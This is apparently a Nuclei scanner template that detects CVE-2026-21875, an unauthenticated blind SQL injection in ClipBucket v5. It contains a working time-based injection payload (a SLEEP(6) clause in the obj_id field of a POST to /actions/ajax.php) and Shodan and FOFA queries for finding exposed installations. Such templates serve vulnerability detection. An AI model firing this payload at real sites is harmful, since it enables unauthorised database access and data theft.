CVE-2026-21875: ClipBucket v5 <= 5.5.2 - Unauthenticated Blind SQL Injection

id: CVE-2026-21875

info:
  name: ClipBucket v5 <= 5.5.2 - Unauthenticated Blind SQL Injection
  author: str4k3r,0x_Akoko
  severity: critical
  description: |
    ClipBucket v5.5.2-#187 and below contain a blind SQL injection caused by unsanitized obj_id parameter in /actions/ajax.php used in user_exists function, letting attackers perform blind SQL injection remotely, exploit requires crafted POST request.
  impact: |
    Attackers can perform blind SQL injection to extract or manipulate database information remotely.
  remediation: |
    Update to the latest version once a fix is available.
  reference:
    - https://github.com/MacWarrior/clipbucket-v5/security/advisories/GHSA-crpv-fmc4-j392
    - https://nvd.nist.gov/vuln/detail/CVE-2026-21875
  classification:
    cve-id: CVE-2026-21875
    epss-score: 0.01527
    epss-percentile: 0.73259
    cwe-id: CWE-89
    cvss-score: 9.8
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  metadata:
    verified: true
    max-request: 2
    vendor: macwarrior
    product: clipbucket
    shodan-query: http.html:"ClipBucket"
    fofa-query: body="ClipBucket" || body="clipbucket"
  tags: cve,cve2026,clipbucket,sqli,blind-sqli,time-based,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(tolower(body), "clipbucket", "cb_v5", "clip-bucket")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 10s
        POST /actions/ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        mode=add_comment&type=channel&reply_to=1&obj_id=999999%27%20OR%20(userid%3D1%20AND%20SLEEP(6))--%20-&name=test&email=test%40gmail.com&comment=testing

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "channel_not_exist")'
          - 'duration >= 6'
        condition: and
# digest: 4b0a00483046022100aa6c40007185ad98aad74a35b46faddb4226b91ceb2a9a7d2db69e59cde53cd8022100c2019096a39c3e058617fb1cae962adf97a69ea6cab5e8a5d0ecc1690572e280:922c64590222798bb761d5b6d8e72950